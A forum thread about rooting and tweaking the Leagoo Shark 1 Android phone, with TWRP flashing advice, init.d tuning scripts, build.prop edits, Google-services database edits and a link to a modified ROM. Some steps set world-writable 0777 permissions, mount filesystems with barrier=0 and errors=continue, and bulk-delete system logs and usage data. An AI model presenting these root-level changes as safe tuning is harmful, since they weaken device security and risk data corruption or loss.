(Admin: this is partly a device question and maybe it should be in the other Shark 1 thread, but I answer with further questions to the quoted post about CM ROM)
The question I'd like to have an answer to is why they choose to go for a 32-bit Android 5.1, when it wouldn't have meant more work for them to go for the 64-bit version instead. There are many MT6753 devices at half the price of the Shark 1 on 64-bit Android. Could it be that there are some hardware in the Shark 1 that limits them to use 32-bit Android? The SoC is 64-bit for sure but how about bus controllers and other chips around the SoC?
If there are some 32-bit hardware in Shark 1 then the CM12.1 for Elephone P8000 won't be very useful as a starting point for a CM for Shark 1.
(Admin: this is partly a device question and maybe it should be in the other Shark 1 thread, but I answer with further questions to the quoted post about CM ROM)
Click to expand...
Click to collapse
No differences, the same MT6753 on both devices, or any other with the MT6753. What happens is, to compile/develop in 64bit its about twice of the work, storage, everything on theses socs demands more power than old MTKs.
Leagoo did this to avoid the work, and save money with the development. The SoC is able to run at 64Bit, but they put a 32bit software just to save with development, so theorically we don't have 64bit files on our Rom (I have a Jiayu S3 MT6752 it haves in example /system/libs and libs64. Leagoo and some other brands usually do this. But the processor/hardware is exact the same as P8000.
Sent from my s3 using Tapatalk
genesisalgor said:
No differences, the same MT6753 on both devices, or any other with the MT6753. What happens is, to compile/develop in 64bit its about twice of the work, storage, everything on theses socs demands more power than old MTKs.
Leagoo did this to avoid the work, and save money with the development. The SoC is able to run at 64Bit, but they put a 32bit software just to save with development, so theorically we don't have 64bit files on our Rom (I have a Jiayu S3 MT6752 it haves in example /system/libs and libs64. Leagoo and some other brands usually do this. But the processor/hardware is exact the same as P8000.
Sent from my s3 using Tapatalk
Click to expand...
Click to collapse
Unfortunately if they choose to use a 32-bit OS, then it isn't possible to run a 64-bit version due to bootloader incompatibilities.
Anyway, the new devices from LEAGOO will have a 64-bit OS. (just check my LEAGOO Z5L review, that ultra-low cost device has a 64-bit OS haha)
MacArthur67 said:
Hello guys,
I have flashed the full 160620 firmware as the OTA didn't work in my phone, even after exchanging TWRP with the stock recovery.
The Leagoo OTAs doesn't come as zip files so they can't be installed from TWRP either.
Now on 160620 fw I can't install TWRP 3.0.0 by @megthebest. It looks ok in SP_Flash_Tool but when I try to boot from TWRP I just get the dead Android robot on the screen and a message saying something like "No data available" or something like that.
Can it be that the partition map has changed and that the scatter file needs to be edited, or do I have something wrong in my phone?
Has anyone tried to do what I did? Flashed a full 160620 fw and tried to install TWRP 3.0.0 by @megthebest? If so, did you succeed?
Click to expand...
Click to collapse
I flashed the 160620 with SP-flashtool, but unticked "recovery" before flashing.
So after flashing, I still had TWRP.
Then reboot to TWRP, flashed super-su, everything ok.
So, i didnt do EXACTLY what you did, because I didnt had to install TWRP new after flashing 160620, but TWRP is working on my Phone with 160620.
When you flash, does it flash the stock-recovery? Maybe your recovery-partition got messed up, when you used Flashify to get Stock-recovery for the OTA-update?
Dont know, i am not that much of an expert........:silly:
Robot12 said:
I flashed the 160620 with SP-flashtool, but unticked "recovery" before flashing.
So after flashing, I still had TWRP.
Then reboot to TWRP, flashed super-su, everything ok.
So, i didnt do EXACTLY what you did, because I didnt had to install TWRP new after flashing 160620, but TWRP is working on my Phone with 160620.
When you flash, does it flash the stock-recovery? Maybe your recovery-partition got messed up, when you used Flashify to get Stock-recovery for the OTA-update?
Dont know, i am not that much of an expert........:silly:
Click to expand...
Click to collapse
Yes, Flashify messed up my phone badly. But since then I formated the internal storage except the bootloader so then with a clean install of 160620, invluding stock recovery it should be ok. Maybe I flash 160509 again because I know I can install TWRP in that fw. Then do like you, flash 160620 without stock recovery.
Has anybody use sp flash latest 11th july 2016 rom in needrom.com ?
some tips...
Well after 2 months with this phone, I think it's time to share some tips and improvements I found usefull.
** Please notify me if it's the wrong thread for posting these kind of stuff, but I thought it doesn't belong to the other leagoo shark thread... **
I personnally think it's a very good phone, good hardware, and you got a lot for the price. But like with other phones, some improvements doesn't hurt
(1)--> At first, you need to install TWRP recovery and you have to root the phone. You need it to tweak this beast.
Everything you need is in first post.
Important: For superSu, you have to untick "mount namespace separation", because most of the init.d tweaks won't work with this option activated. And you have to tick "activate su during boot" for the same reason
(2)--> Second step, install busybox (let's say with the stericson installer, install it directly -no need to wait for the "smart install" process-, and remove the installer apk after, because we doesn't need it anymore)
(3)--> Third step, let's add init.d support:
like I explained in the other leagoo shark thread, just search for the file install-recovery.sh In the directory /etc/ and modify it like that:
Code:
#!/system/bin/sh
/system/xbin/daemonsu --auto-daemon &
#init.d support
run-parts /system/etc/init.d/
All you have to do now, is to create a folder "init.d" (without the quotes) in /etc/ folder with 0777 permissions.
(4)--> Now that we have init.d support, here are some scripts I collected & adapted for our phone:
00opti:
This one increase sdcard0/sdcard1 -if any installed- read_ahead value for faster i/o, removes some debug flags, tunes oom, disable ipv6 and tunes ipv4 parameters
Code:
#!/system/bin/sh
echo 512 > /sys/block/mmcblk0/queue/read_ahead_kb
echo 512 > /sys/block/mmcblk1/queue/read_ahead_kb
setprop profiler.debugmonitor false
setprop profiler.launch false
setprop profiler.hung.dumpdobugreport false
setprop debugtool.anrhistory 0
setprop profiler.force_disable_ulog 1
setprop profiler.force_disable_err_rpt 1
setprop logcat.live disable
setprop dalvik.vm.debug.alloc 0
setprop dalvik.vm.checkjni false
echo 0 > /sys/module/alarm_dev/parameters/debug_mask
echo 0 > /sys/module/alarmtimer/parameters/debug_mask
echo 0 > /sys/module/binder/parameters/debug_mask
echo 0 > /sys/module/kernel/parameters/initcall_debug
echo 0 > /sys/module/xt_qtaguid/parameters/debug_mask
echo 0 > /sys/module/sbsuspend/parameters/sbsuspend_debug_mask
echo 0 > /sys/module/earlysuspend/parameters/debug_mask
echo 0 > /sys/module/lowmemorykiller/parameters/debug_level
sysctl -w vm.block_dump=0
sysctl -e -w vm.oom_dump_tasks=1
sysctl -e -w vm.oom_kill_allocating_task=1
echo "1" > /proc/sys/net/ipv6/conf/all/disable_ipv6
echo "1" > /proc/sys/net/ipv6/conf/default/disable_ipv6
/system/bin/ip6tables -P INPUT DROP
/system/bin/ip6tables -P OUTPUT DROP
/system/bin/ip6tables -P FORWARD DROP
echo "0" > /proc/sys/net/ipv4/tcp_timestamps
echo "1" > /proc/sys/net/ipv4/tcp_tw_reuse
echo "1" > /proc/sys/net/ipv4/tcp_sack
echo "1" > /proc/sys/net/ipv4/tcp_dsack
echo "1" > /proc/sys/net/ipv4/tcp_tw_recycle
echo "1" > /proc/sys/net/ipv4/tcp_window_scaling
echo "1" > /proc/sys/net/ipv4/tcp_moderate_rcvbuf
echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all
echo "1" > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
echo "5" > /proc/sys/net/ipv4/tcp_keepalive_probes
echo "30" > /proc/sys/net/ipv4/tcp_keepalive_intvl
echo "30" > /proc/sys/net/ipv4/tcp_fin_timeout
01rmt:
This one does classics 'perfect" remounts, tunes some fs parameters,ipv4 tweaks and fstrim function
Code:
#!/system/bin/sh
mount -o remount,noatime,noauto_da_alloc,nodiratime,barrier=0,nobh,errors=continue,nomblk_io_submit,ro /system
mount -o remount,commit=19,nomblk_io_submit,errors=continue,noatime,noauto_da_alloc,nosuid,nodev,nodiratime,barrier=0,nobh,rw /data
mount -o remount,commit=19,nomblk_io_submit,errors=continue,noatime,noauto_da_alloc,nosuid,nodev,nodiratime,barrier=0,nobh,rw /cache
echo 0 > /sys/kernel/debug/tracing/tracing_on
sysctl -e -w fs.lease-break-time=10
sysctl -e -w fs.inotify.max_queued_events=32000
sysctl -e -w fs.inotify.max_user_instances=256
sysctl -e -w fs.inotify.max_user_watches=10240
sysctl -e -w fs.file-max=165164
sysctl -w vm.laptop_mode=0
sysctl -w net.ipv4.icmp_echo_ignore_all=1
sysctl -w net.ipv4.route.flush=1
busybox fstrim -v /cache
busybox fstrim -v /system
busybox fstrim -v /data
02touch:
touch tuning **thanks seraser
Code:
#!/system/bin/sh
echo 20 > /sys/module/tpd_setting/parameters/tpd_em_auto_time_interval
echo 25 > /sys/module/tpd_setting/parameters/tpd_em_pressure_threshold
echo 4 > /sys/module/tpd_setting/parameters/tpd_em_debounce_time
echo 5 > /sys/module/tpd_setting/parameters/tpd_em_debounce_time0
echo 9 > /sys/module/tpd_setting/parameters/tpd_em_debounce_time1
03others:
disabling Zram, some other tweaks, temporary folders cleaning, scrolling and touch tuning
Code:
#!/system/bin/sh
swapoff /dev/block/zram0
setprop persist.sys.scrollingcache 3
setprop ro.min.fling_velocity 8000
setprop ro.max.fling_velocity 12000
echo "1" > /sys/module/tpd_setting/parameters/tpd_mode
echo "63" > /sys/module/hid_magicmouse/parameters/scroll_speed
setprop ENFORCE_PROCESS_LIMIT false
setprop MAX_SERVICE_INACTIVITY false
setprop MIN_HIDDEN_APPS false
setprop MAX_HIDDEN_APPS false
setprop CONTENT_APP_IDLE_OFFSET false
setprop EMPTY_APP_IDLE_OFFSET false
setprop MAX_ACTIVITIES false
setprop ACTIVITY_INACTIVE_RESET_TIME false
setprop MAX_RECENT_TASKS false
setprop MIN_RECENT_TASKS false
setprop APP_SWITCH_DELAY_TIME false
setprop MAX_PROCESSES false
setprop PROC_START_TIMEOUT false
setprop CPU_MIN_CHECK_DURATION false
setprop GC_TIMEOUT false
setprop SERVICE_TIMEOUT false
setprop MIN_CRASH_INTERVAL false
setprop touch.pressure.scale 0.001
busybox rm -f /data/*.log
busybox rm -f /data/tombstones/*
busybox rm -f /data/system/dropbox/*
busybox rm -f /storage/sdcard0/LOST.DIR/*
busybox rm -f /storage/sdcard1/LOST.DIR/*
busybox rm -f /data/system/usagestats/*
busybox rm -r /data/system/appusagestats/*
busybox rm -f /data/anr/*
busybox rm -f /cache/*.apk
busybox rm -f /cache/*.tmp
busybox rm -f /data/backup/pending/*
busybox rm -f /data/local/tmp/*
busybox rm -r /data/tmp/*
setprop media.stagefright.enable-player true
setprop media.stagefright.enable-meta true
setprop media.stagefright.enable-scan true
setprop media.stagefright.enable-http true
setprop media.stagefright.enable-aac true
setprop media.stagefright.enable-qcp true
04gsf:
disabling some google services functions, use it at your own risks ^^^ Can't remember where I find these tweaks, so all credits goes to the author(s)
For this script to work, you need sqlite3 binary, you can use the one I attached (put it in system/xbin/ with according 0777 permissions)
Code:
#!/system/bin/sh
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'perform_market_checkin' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 0 where name = 'market_force_checkin' and value = -1"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 0 where name = 'checkin_interval'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'checkin_dropbox_upload' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'checkin_dropbox_upload:snet' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'checkin_dropbox_upload:snet_gcore' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'checkin_dropbox_upload:snet_idle' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'checkin_dropbox_upload:snet_launch_service' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'checkin_dropbox_upload:SYSTEM_RECOVERY_KMSG' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'checkin_dropbox_upload:event_log' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'checkin_dropbox_upload:SYSTEM_RECOVERY_LOG' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'ads:jams:is_enabled' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 'false' where name = 'analytics.service_enabled' and value = 'true'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = '127.0.0.1' where name = 'url:feedback_url'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 0 where name = 'market_force_checkin' and value = 1"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 0 where name = 'secure:bandwidth_checkin_stat_interval'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 0 where name = 'secure:send_action_app_error'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update main set value = 0 where name = 'send_action_app_error'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update saved_secure set value = '0' where name = 'send_action_app_error'"
/system/xbin/sqlite3 /data/data/com.google.android.gsf/databases/gservices.db "update saved_global set value = '0' where name = 'send_action_app_error'"
05renice:
renice processes, especially fingerprint scanner service. Please note this two lines:
- busybox renice -19 `pidof com.teslacoilsw.launcher` <--- because I use Nova launcher instead of the stock launcher, wich I personally recommend.
- busybox renice -19 `pidof com.mrbimc.udn.lite:udn_service` <----- I'm using Ultimate Dynamic Navbar instead of the stock one, I will explain this later.
If you doesn't use this two apps, you can remove these lines. (well, if you don't, it will not hurt either)
Code:
#!/system/bin/sh
sleep 80
pid=$(busybox pgrep zygote 2>/dev/null)
busybox renice -1 $pid
busybox ionice -c 1 -n 0 -p $pid
for pid in `dumpsys activity services | busybox grep -i app=ProcessRecord | busybox awk '{ print $2 }' | busybox grep -v '/100[0-9]}' | busybox cut -d: -f1`; do
busybox renice 7 $pid
busybox ionice -c 2 -n 7 -p $pid
done;
busybox renice -20 `pidof com.android.phone`
busybox renice -19 `pidof egistec.fingerauth.host.service`
busybox renice -19 `pidof egistec.fingerauth.host.service:remote`
busybox renice -19 `pidof com.teslacoilsw.launcher`
busybox renice -19 `pidof com.mrbimc.udn.lite:udn_service`
busybox renice -19 `pidof com.android.mms`
busybox renice -15 `pidof com.android.systemui`
busybox renice -3 `pidof android.process.acore`
busybox renice -3 `pidof android.process.media`
(5)--> Now let's tweak the build.prop file a bit...
I added this lines to the build.prop file:
Code:
#seb tweaks
ro.media.enc.jpeg.quality=100
profiler.force_disable_err_rpt=1
profiler.force_disable_ulog=1
logcat.live=disable
wifi.supplicant_scan_interval=240
ro.kernel.android.checkjni=0
ro.kernel.checkjni=0
ro.config.nocheckin=1
persist.sys.scrollingcache=3
net.rmnet0.dns1=8.8.8.8
net.rmnet0.dns2=8.8.4.4
net.dns1=8.8.8.8
net.dns2=8.8.4.4
net.ppp0.dns1=8.8.8.8
net.ppp0.dns2=8.8.4.4
net.wlan0.dns1=8.8.8.8
net.wlan0.dns2=8.8.4.4
net.eth0.dns1=8.8.8.8
net.eth0.dns2=8.8.4.4
net.gprs.dns1=8.8.8.8
net.gprs.dns2=8.8.4.4
#seb experimental
mot.proximity.delay=25
windowsmgr.max_events_per_sec=90
ro.max.fling_velocity=12000
ro.min.fling_velocity=8000
debugtool.anrhistory=0
profiler.debugmonitor=false
profiler.launch=false
profiler.hung.dumpdobugreport=false
ro.config.hw_quickpoweron=true
net.tcp.mss.wlan=491520
net.tcp.mss.rmnet=491520
persist.service.zram=0
ro.zram.default=0
persist.sys.use_dithering=0
pm.sleep_mode=1
power.saving.mode=1
(6)-->Xposed
Let's install xposed, you need this for Amplify and Greenify, wich I strongly recommend against the stock power saver (I removed it).
You can also install the module "Deny location Consent", very usefull as I doesn't want other localisation than the gps one (very good with this phone by the way) and I'm tired of clicking "disagree" to the google popup when I activate location.
(7)-->Launcher
I doesn't like the stock launcher. At all. I prefer to use Nova Launcher and remove "Launcher3". Your choice
With my firmware version (20160530), there is no tts settings in "settings" :-/ ... But with Nova, and the widget "activity", you can access tts settings (.Settings$TextToSpeechActivity ;see image attachement). I found other interresting activities in parameters too like :
.RadioInfo
.Settings$NotificationsStationActivity
.Settings$GestureSettingsHct ("Somatosensoriel intelligente" ?....)
.Settings$CaptioningSettingsActivity
.Settings$HeadsetSettingActivity
.MonitoringCertInfoActivity
(8)-->Debloating
Use a file explorer (with root access granted) to remove some system apps and titanium backup (or another tool with similar functionnality) to freeze some others.
I removed:
-All the themes (related to launcher 3, wich I doesn't use) : cn.sh.hct.themeOtdColors, cn.sh.hct.themeOtdNusiness, cn.sh.hct.themeOtdEasyFlat, cn.sh.hct.themeOtd, cn.sh.hct.themeOtdluxurious. I keep the main app "Themes" because It allows us to easily change the lockscreen wallpaper. (via the app or via the galery app)
-UpgradeSys, Tags, Power On/Off scheduler, Power Saver, Pico sv (I installed google tts), MTKLogger, MTKNlpServices, MTK android suite daemon, ConfigUpdater, FWupgrade, FWUpgradeProvider, RockClient, Music (I prefer another player), MusicFx.
I froze:
-BSPTelephonyDevTool, com.mediatek.batteryWarning, FastCamera (doesn't know what it is for ?), MTK Thermal manager
(9)-->The navbar
Well, I think there are two problems with the leagoo navbar.
At First, I doesn't like the resolution changing when you activate/desactivate the navbar wich occurs with certain apps. It can even crash some very specific apps (like Igo primo).
And the second thing very annoying is that you have to hide it manually. Too bad there isn't a "auto hide feature".
I solved these two issues with "Ultimate Dynamic Navbar", http://forum.xda-developers.com/showthread.php?t=2270198
Now the navbar is superposed with anything on the screen, without changing the resolution of the running app. And you can specify a timeout for it to automatically hide.
Very customizable, very good and far better than the leagoo or the android stock navbar. You can use the integrated xposed module to hide the leagoo navbar; or modifying these two lines in build.prop (thanks to genesisalgor) :
ro.hct_navigationbar=0
qemu.hw.mainkeys=1
...... more to come if you are interrested
(like customizing the clock view with the flip cover -by modifyng framework-res.apk-,services disabling, optimizing system apks, bootanimation, .... and other tweaks).
Great stuff for helping other.
BTW related to navbar, the navbar in Shark isn't the stock Android Navbar, is another implementation. There is a line on build.prop called hct navbar or something, set it to 0 then the leagoo navbar goes away.
Then
qemu.hw.mainkeys=0
And you get stock Android navbar, which is a bit smaller, so I use Xstana to get a better one.
Sent from my s3 using Tapatalk
genesisalgor said:
BTW related to navbar, the navbar in Shark isn't the stock Android Navbar, is another implementation. There is a line on build.prop called hct navbar or something, set it to 0 then the leagoo navbar goes away.
Then
qemu.hw.mainkeys=0
And you get stock Android navbar, which is a bit smaller, so I use Xstana to get a better one.
Click to expand...
Click to collapse
Thanks a lot ! I still prefer to use Ultimate Dynamic Navbar as I found it more convenient and customizable than the "real" android stock navbar, but now I doesn't need to use the Xposed module, I only have to modify the build.prop like this:
ro.hct_navigationbar=0
qemu.hw.mainkeys=1
Hi.
@seb3773
From here...
http://forum.xda-developers.com/showthread.php?p=67860377
Can you check values of touch after init.d boot?
Thanks.
Enviado desde mi Shark 1 mediante Tapatalk
seraser said:
Hi.
@seb3773
From here...
http://forum.xda-developers.com/showthread.php?p=67860377
Can you check values of touch after init.d boot?
Thanks.
Enviado desde mi Shark 1 mediante Tapatalk
Click to expand...
Click to collapse
Yes, I checked the values (both with terminal and engineer mode) after boot and it's working, I mean the values are those mentionned in the script.
for testing purposes, can you install terminal emulator app, then open a windows, type "su" to get root and then type "run-parts", just to check there isn't something wrong with the busybox install ?
You should then see something like that:
Code:
[email protected]_35gu_l:/ # run-parts
BusyBox v1.24.1-Stericson (2015-11-06 19:11:24 EST) multi-call binary.
Usage: run-parts [-a ARG]... [-u UMASK] [--reverse] [--test] [--exit-on-error] [--list] DIRECTORY
Run a bunch of scripts in DIRECTORY
-a ARG Pass ARG as argument to scripts
-u UMASK Set UMASK before running scripts
--reverse Reverse execution order
--test Dry run
--exit-on-error Exit if a script exits with non-zero
--list Print names of matching files even if they are not executable
If it's ok, then try the command "run-parts --list /etc/init.d/ : you should get the listing of the scripts in init.d folder
seb3773 said:
Yes, I checked the values (both with terminal and engineer mode) after boot and it's working, I mean the values are those mentionned in the script.
for testing purposes, can you install terminal emulator app, then open a windows, type "su" to get root and then type "run-parts", just to check there isn't something wrong with the busybox install ?
You should then see something like that:
Code:
[email protected]_35gu_l:/ # run-parts
BusyBox v1.24.1-Stericson (2015-11-06 19:11:24 EST) multi-call binary.
Usage: run-parts [-a ARG]... [-u UMASK] [--reverse] [--test] [--exit-on-error] [--list] DIRECTORY
Run a bunch of scripts in DIRECTORY
-a ARG Pass ARG as argument to scripts
-u UMASK Set UMASK before running scripts
--reverse Reverse execution order
--test Dry run
--exit-on-error Exit if a script exits with non-zero
--list Print names of matching files even if they are not executable
If it's ok, then try the command "run-parts --list /etc/init.d/ : you should get the listing of the scripts in init.d folder
Click to expand...
Click to collapse
Run parts works fine, showme 02touch, I don't understand.
You feel the touch sensitive only with init.d and without settings fresh boot activation?
Thanks.
Enviado desde mi Shark 1 mediante Tapatalk
Guys instead of doing so many tweaks, all can be implemented into the ramdisk. Coming soon
Alberto96 said:
Guys instead of doing so many tweaks, all can be implemented into the ramdisk. Coming soon
Click to expand...
Click to collapse
Right. I was thinking of doing it as it is not a problem to decompile/compile mtk img files, but having these tweaks in scripts files/build.prop allow me to test, modify, remove some of them or add others tweaks without the hassle of playing with the ramdisk.
But you're definitively right, maybe we can make a list of the "good" working tweaks for the shark, and when we are sure it's ok and working properly, then integrate all of them in ramdisk.
---------- Post added at 01:28 PM ---------- Previous post was at 01:25 PM ----------
seraser, to be honnest, I already feel the touch enough sensitive for me without the tweaks, so I'm maybe not the good person to do this kind of test
Maybe others can try and tell us if there's a difference or not...
Shark 1 20160711 ROM: https://mega.nz/#!tV0DXRDI!7qEXPptHmC9eA9WORwzomdl3vy2nUrZzlTkJkewkcMo
- Rooted using SuperSU
- Busybox Support
- De-Bloated (just a bit)
- Improved Performance
Flashable using TWRP Recovery.
Touchscreen Sensitivity tweak hasn't been added because it seems that this last update doesn't have that issue.
I'm now working on an AOSP variant in order to get rid of the LEAGOO OS UI. UPDATE: Done, coming soon.
Alberto96 said:
Shark 1 20160711 ROM: https://mega.nz/#!tV0DXRDI!7qEXPptHmC9eA9WORwzomdl3vy2nUrZzlTkJkewkcMo
- Rooted using SuperSU
- Busybox Support
- De-Bloated (just a bit)
- Improved Performance
Flashable using TWRP Recovery.
Touchscreen Sensitivity tweak hasn't been added because it seems that this last update doesn't have that issue.
I'm now working on an AOSP variant in order to get rid of the LEAGOO OS UI.
Click to expand...
Click to collapse
Great work man!
And yeeeess, please AOSP it, I l don't like this UI [emoji14]
Sent from my s3 using Tapatalk

Categories

Resources